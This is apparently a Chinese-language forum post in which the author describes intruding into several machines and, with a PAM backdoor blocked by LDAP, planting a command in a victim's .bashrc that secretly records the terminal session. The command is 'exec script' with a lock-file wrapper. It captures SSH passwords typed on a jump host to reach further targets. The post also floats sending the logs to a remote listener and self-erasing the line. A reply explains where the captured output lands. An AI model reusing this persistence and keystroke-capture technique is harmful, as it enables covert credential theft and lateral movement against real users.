前言
日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。
然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。
而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。
那么有没有什么办法能搞到他们呢?
最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。
之后在群里大佬的提拔下。知道了还有script这个好东西。
直接一句
exec script -B /tmp -aqf
没有-B参数把-B参数删了其实也没差
经过测试,SSH输入的密码也能记录。简直就是linux自带后门
然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....
解决方案也很简单。直接在最后一行换成
if [ -f /tmp/script.lock ];then
rm /tmp/script.lock
else
echo lock > /tmp/script.lock
exec script -B /tmp/test -aqf
fi
这样就成啦
进阶
本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。
大佬没看懂 输入exec script -B /tmp -aqf 之后怎么查看结果呢
是exec script -B /tmp/aaa -aqf
这样结果就保存到了/tmp/aaa下了